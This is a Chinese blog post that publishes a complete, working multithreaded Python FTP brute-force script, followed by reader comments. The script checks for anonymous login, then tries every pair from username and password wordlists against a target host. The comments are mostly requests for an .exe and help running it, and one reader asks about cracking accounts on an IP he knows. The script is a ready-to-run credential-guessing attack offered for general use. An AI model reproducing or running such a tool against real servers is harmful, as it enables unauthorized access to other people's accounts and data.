正在阅读:

[Python] FTP暴力破解工具多线程版

33,686

首先祝大家中秋节快乐,不知道大家有没有吃月饼呢? 苦逼的我发点补贴还被打了7折了,唉。。。

之前的文章发布了ftp暴力破解工具的单线程版本,但是发现破解速度太慢了,今天发一个多线程的。

Python FTP暴力破解工具多线程版

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2014/9/5
# Created by 独自等待
# 博客 http://www.waitalone.cn/
from threading import Thread
import ftplib, socket
import sys, time, re


def usage():
    print '+' + '-' * 50 + '+'
    print '\t    Python FTP暴力破解工具多线程版'
    print '\t   Blog:http://www.waitalone.cn/'
    print '\t\t Code BY: 独自等待'
    print '\t\t Time:2014-09-05'
    print '+' + '-' * 50 + '+'
    if len(sys.argv) != 4:
        print "用法: ftpbrute_mult.py 待破解的ip/domain 用户名列表 字典列表"
        print "实例: ftpbrute_mult.py www.waitalone.cn user.txt pass.txt"
        sys.exit()


def brute_anony():
    try:
        print '[+] 测试匿名登陆……\n'
        ftp = ftplib.FTP()
        ftp.connect(host, 21, timeout=10)
        print 'FTP消息: %s \n' % ftp.getwelcome()
        ftp.login()
        ftp.retrlines('LIST')
        ftp.quit()
        print '\n[+] 匿名登陆成功……\n'
    except ftplib.all_errors:
        print '\n[-] 匿名登陆失败……\n'


def brute_users(user, pwd):
    try:
        ftp = ftplib.FTP()
        ftp.connect(host, 21, timeout=10)
        ftp.login(user, pwd)
        ftp.retrlines('LIST')
        ftp.quit()
        print '\n[+] 破解成功,用户名:%s 密码:%s\n' % (user, pwd)
    except ftplib.all_errors:
        pass


if __name__ == '__main__':
    usage()
    start_time = time.time()
    if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]):
        host = sys.argv[1]
    else:
        host = socket.gethostbyname(sys.argv[1])
    userlist = [i.rstrip() for i in open(sys.argv[2])]
    passlist = [j.rstrip() for j in open(sys.argv[3])]
    print '目  标:%s \n' % sys.argv[1]
    print '用户名:%d 条\n' % len(userlist)
    print '密  码:%d 条\n' % len(passlist)
    brute_anony()
    print '\n[+] 暴力破解测试中……\n'
    thrdlist = []
    for user in userlist:
        for pwd in passlist:
            t = Thread(target=brute_users, args=(user, pwd))
            t.start()
            thrdlist.append(t)
            time.sleep(0.009)
    for x in thrdlist:
        x.join()
    print '[+] 破解完成,用时: %d 秒' % (time.time() - start_time)

相比单线程版,破解2个用户,10个字典的要20秒,这个则只需要2秒,如下图:

python ftp暴力破解

目前有:17条访客评论,博主回复13

  1. 文雨
    2014-09-09 10:02

    嗯,回来试试,看看多大差距 [/呲牙]

    • 独自等待
      2014-09-09 10:33

      @文雨:同样的用户名和字典,单线程要20秒,这个只要2秒。

      • aftroon
        2014-11-18 11:39

        @独自等待:怎样测试啊,有没打包好的.EXE

        • 独自等待
          2014-11-18 21:03

          暂没有exe版的,因为脚本的更方便,而且可以自己修改的。

    • guang
      2014-11-17 17:53

      @文雨:有没现成打包好的.exe,我都不知点样用,求指点一下… [/撇嘴]

  2. aftroon
    2014-11-18 11:40

    有没打包好的.EXE啊,不知怎样测试 啊

  3. aftroon
    2014-11-19 09:32

    好的,一大早就看到大大回的信息,心情愉快了像轻轻的鹅毛
    再弱弱问一句:直接用脚本,是要怎样弄呢(不好意思)

    • 独自等待
      2014-11-19 22:42

      你在我博客搜索一下python的视频教程,然后看完了就明白了。

  4. 不会用
    2014-12-03 18:56

    Python 2.7.8 (default, Jun 30 2014, 16:08:48) [MSC v.1500 64 bit (AMD64)] on win32
    Type “copyright”, “credits” or “license()” for more information.
    >>> ================================ RESTART ================================
    >>>
    +————————————————–+
    Python FTP暴力破解工具多线程版
    Blog:http://www.waitalone.cn/
    Code BY: 独自等待
    Time:2014-09-05
    +————————————————–+
    用法: ftpbrute_mult.py 待破解的ip/domain 用户名列表 字典列表
    实例: ftpbrute_mult.py http://www.waitalone.cn user.txt pass.txt
    >>> ftpbrute_mult.py demo.mobanbus.cn user.txt pass.txt
    SyntaxError: invalid syntax
    >>> ftpbrute_mult.py 115.28.18.52 user.txt pass.txt
    SyntaxError: invalid syntax
    >>> ftpbrute_mult.py http://www.waitalone.cn user.txt pass.txt
    SyntaxError: invalid syntax
    >>> ftpbrute_mult.pyftpbrute_mult.py

    Traceback (most recent call last):
    File “”, line 1, in
    ftpbrute_mult.pyftpbrute_mult.py
    NameError: name ‘ftpbrute_mult’ is not defined
    >>> ftpbrute_mult.py

    Traceback (most recent call last):
    File “”, line 1, in
    ftpbrute_mult.py
    NameError: name ‘ftpbrute_mult’ is not defined
    >>>

    • 独自等待
      2014-12-05 10:48

      把文件保存成ftpbrute_mult.py,然后在cmd下执行python ftpbrute_mult.py user.txt pass.txt

  5. 不会用
    2014-12-06 09:09

    +————————————————–+
    Python FTP暴力破解工具多线程版
    Blog:http://www.waitalone.cn/
    Code BY: 独自等待
    Time:2014-09-05
    +————————————————–+
    用法: ftpbrute_mult.py 待破解的ip/domain 用户名列表 字典列表
    实例: ftpbrute_mult.py http://www.waitalone.cn user.txt pass.txt
    >>> ftpbrute_mult.py ***.***.***.207 user.txt pass.txt
    SyntaxError: invalid syntax
    >>>
    这个是我用的软件的问题吗?

    • 独自等待
      2014-12-06 20:46

      把鼠标移动到代码区域,代码区右上角小按钮一点击就可完成复制!可能复制代码的时候少了什么符号,请完整复制不要修改上面的注释内容。

  6. 不会用
    2014-12-07 11:00

    额,我试过了,代码确定完整的,求大哥生成exe文件吧!辛苦

    • 独自等待
      2014-12-07 11:16

      好的,周一了我生成一个exe版的,你是用64位的还是??

  7. 不会用
    2014-12-07 21:01

    win7 64位

  8. 等
    2015-02-09 22:01

    等了很久的exe文件呢?大牛忘记了吗?

    • 独自等待
      2015-02-10 17:29

      嗯,不好意思,博客因服务器原因,停了很长一段时间,明天给你折腾吧。

  9. 伤心欲碎
    2015-04-10 17:43

    老大能不能出个Python的安装使用教程?

    • 独自等待
      2015-04-12 18:00

      你在我博客搜索python视频教程,看完就会了。

  10. yimo
    2015-05-12 13:47

    File “H:\Python33\Doc\1.py”, line 13
    print ‘+’ + ‘-‘ * 50 + ‘+’
    ^
    SyntaxError: invalid syntax

    出现这是什么意思?

  11. 出错
    2015-07-01 11:13

    File “C:\Python27\lib\threading.py”, line 745, in start
    _start_new_thread(self.__bootstrap, ())
    thread.error: can’t start new thread

    出错了 该怎么办

  12. 求大神指教

    老大,请问现在这个还可以用吗 有没有出32位的xp exe,我知道一个ip 可不可以破解他里面的任意一个ftp账号和密码? 请加下我qq可以吗 求教大神,925903504

    • 独自等待
      2016-01-26 19:33

      这个适合轻量化的破解任务,建议使用hrdra具有保存破解进度的工具代替。

  13. 阿羊
    2016-04-24 16:42

    感谢楼主分享。使用Pycharm运行汉字显示正常,用cmd命令执行则一直乱码,把汉字及符号全部改为英文的才可以正常显示,不知道为什么。coding是utf-8呀。没找到ftp的站点,自己本地装了个,使用命令C:\Users\Administrator>python C:\Users\Administrator\PycharmProjects\Test2\test1.py 127.0.0.1 C:\Users\Administrator\PycharmProjects\Test2\user.txt C:\Users\Administrator\PycharmProjects\Test2\pass.txt可以破解出密码,赞。

    • 独自等待
      2016-04-25 17:24

      我提供的代码请保存为ansi编码保存不要保存为utf-8格式的

  14. 小白
    2017-07-19 11:40

    求分享软件

  15. 你好
    2017-07-20 17:55

    谢谢啊~!!!

留下脚印,证明你来过。

*

*

流汗坏笑撇嘴大兵流泪发呆抠鼻吓到偷笑得意呲牙亲亲疑问调皮可爱白眼难过愤怒惊讶鼓掌